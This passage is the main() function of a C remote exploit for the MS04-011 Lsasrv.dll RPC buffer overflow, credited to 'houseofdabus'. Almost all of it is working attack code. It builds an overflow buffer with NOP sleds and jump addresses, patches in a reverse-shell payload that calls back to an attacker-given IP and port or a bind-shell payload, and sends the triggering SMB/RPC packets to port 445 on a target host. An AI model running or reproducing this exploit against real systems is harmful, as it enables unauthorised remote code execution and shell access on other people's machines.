int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;


printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");


if (argc < 4) {
usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target); 

for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(unsigned short int)0x9999;
ip = inet_addr(argv[4])^(unsigned long int)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(unsigned short int)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}


if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);

//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

memcpy(&buf[2856], sc, strlen(sc));

for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);


if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}


their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}